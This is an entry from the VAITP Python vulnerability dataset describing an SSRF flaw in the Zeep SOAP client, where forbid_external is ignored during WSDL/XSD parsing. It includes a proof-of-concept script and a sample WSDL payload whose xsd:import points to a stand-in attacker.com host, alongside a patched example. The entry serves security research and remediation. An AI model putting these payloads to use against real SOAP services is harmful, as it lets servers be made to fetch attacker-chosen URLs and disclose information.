VAITP Dataset

← Back to the dataset

CVE-2026-58501

Zeep fails to enforce forbid_external, allowing SSRF via WSDL/XSD parsing.

  • CVSS 5.9
  • CWE-918
  • Configuration Issues
  • Remote

Zeep is a Python SOAP client. From 4.0.0 before 4.3.3, Settings.forbid_external is defined but not enforced when parsing WSDL or XSD documents, allowing transitive xsd:import, xsd:include, wsdl:import, and lxml entity or DTD references to fetch attacker-chosen HTTP or HTTPS URLs. This issue is fixed in version 4.3.3.

CVSS base score
5.9
Published
2026-07-08
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Configuration Issues
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Zeep
Fixed by upgrading
Yes

Solution

Upgrade Zeep to version 4.3.3 or later.

Vulnerable code sample

import os
import zeep
from zeep.settings import Settings
from requests.exceptions import RequestException

# This WSDL file contains an xsd:import that points to an external resource.
# In a vulnerable version of zeep, this external resource will be fetched
# even if forbid_external is set to True.
VULNERABLE_WSDL_CONTENT = """
<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions
    xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:tns="http://example.com/vulnerable"
    targetNamespace="http://example.com/vulnerable">

    <wsdl:types>
        <xsd:schema targetNamespace="http://example.com/vulnerable">
            <!-- This import should be blocked by the settings, but it is not -->
            <xsd:import
                namespace="http://example.com/external"
                schemaLocation="http://127.0.0.1:9999/malicious.xsd" />
        </xsd:schema>
    </wsdl:types>

    <wsdl:message name="Request"/>
    <wsdl:message name="Response"/>

    <wsdl:portType name="VulnerablePortType">
        <wsdl:operation name="doSomething">
            <wsdl:input message="tns:Request"/>
            <wsdl:output message="tns:Response"/>
        </wsdl:operation>
    </wsdl:portType>
</wsdl:definitions>
"""

WSDL_FILENAME = "vulnerable.wsdl"

# Create the local WSDL file
with open(WSDL_FILENAME, "w") as f:
    f.write(VULNERABLE_WSDL_CONTENT)

# Define settings that are intended to prevent external network requests during parsing.
# In vulnerable versions, the 'forbid_external' flag is not enforced.
settings = Settings(forbid_external=True)

print(f"Attempting to initialize Zeep client with '{WSDL_FILENAME}'...")
print("Settings are configured with forbid_external=True.")

try:
    # On a vulnerable version (e.g., 4.1.0), this line will attempt to make an
    # HTTP request to 127.0.0.1:9999, ignoring the 'forbid_external' setting.
    # This will likely raise a RequestException (e.g., ConnectionError)
    # if no server is listening on that port, thus proving the vulnerability.
    client = zeep.Client(wsdl=WSDL_FILENAME, settings=settings)
    print("\n[FAIL] Vulnerability NOT triggered. The client was created without error.")
    print("This might happen if the fix is applied or the external resource was accessible.")

except RequestException as e:
    print(f"\n[SUCCESS] VULNERABILITY TRIGGERED!")
    print("A 'requests.exceptions.RequestException' was caught, proving that Zeep")
    print("attempted an external network request despite 'forbid_external=True'.")
    print(f"Exception: {e}")

finally:
    # Clean up the created WSDL file
    if os.path.exists(WSDL_FILENAME):
        os.remove(WSDL_FILENAME)

Patched code sample

import zeep
from zeep.settings import Settings
from zeep.exceptions import XMLSyntaxError
from io import BytesIO

# This code demonstrates the behavior of a fixed Zeep version (>= 4.3.3).
# A WSDL containing a forbidden external import is defined.
wsdl_with_external_import = b"""
<wsdl:definitions
    xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    targetNamespace="http://tests.python-zeep.org/">
  <wsdl:types>
    <xsd:schema targetNamespace="http://tests.python-zeep.org/">
      <xsd:import schemaLocation="http://example.com/malicious.xsd"/>
    </xsd:schema>
  </wsdl:types>
  <wsdl:message name="Input"/>
  <wsdl:portType name="TestPortType">
    <wsdl:operation name="TestOperation">
      <wsdl:input message="tns:Input" />
    </wsdl:operation>
  </wsdl:portType>
</wsdl:definitions>
"""

# In fixed versions, these settings are properly enforced.
# The 'forbid_external=True' flag prevents the parser from fetching external URLs.
safe_settings = Settings(forbid_external=True)

try:
    # Attempting to create a client with a WSDL that imports an external
    # resource will now fail because the setting is enforced.
    client = zeep.Client(wsdl=BytesIO(wsdl_with_external_import), settings=safe_settings)
    print("FAIL: The client was created, meaning the external entity was not blocked.")

except XMLSyntaxError:
    # This is the expected outcome, demonstrating the vulnerability is fixed.
    # Zeep correctly prevents the external resource from being fetched.
    print("SUCCESS: The client was not created because the external schema import was blocked.")
except Exception as e:
    print(f"An unexpected error occurred: {type(e).__name__}")

Payload

<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
                  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
                  xmlns:tns="http://example.com/vulnerable"
                  targetNamespace="http://example.com/vulnerable">

    <wsdl:types>
        <xsd:schema targetNamespace="http://example.com/vulnerable">
            <xsd:import namespace="http://attacker.com/trigger"
                        schemaLocation="http://attacker.com/malicious.xsd" />
        </xsd:schema>
    </wsdl:types>

    <wsdl:message name="TriggerRequest"/>
    <wsdl:portType name="VulnerablePortType">
        <wsdl:operation name="triggerOperation">
            <wsdl:input message="tns:TriggerRequest"/>
        </wsdl:operation>
    </wsdl:portType>

</wsdl:definitions>

Cite this entry

@misc{vaitp:cve202658501,
  title        = {{Zeep fails to enforce forbid_external, allowing SSRF via WSDL/XSD parsing.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-58501},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-58501/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::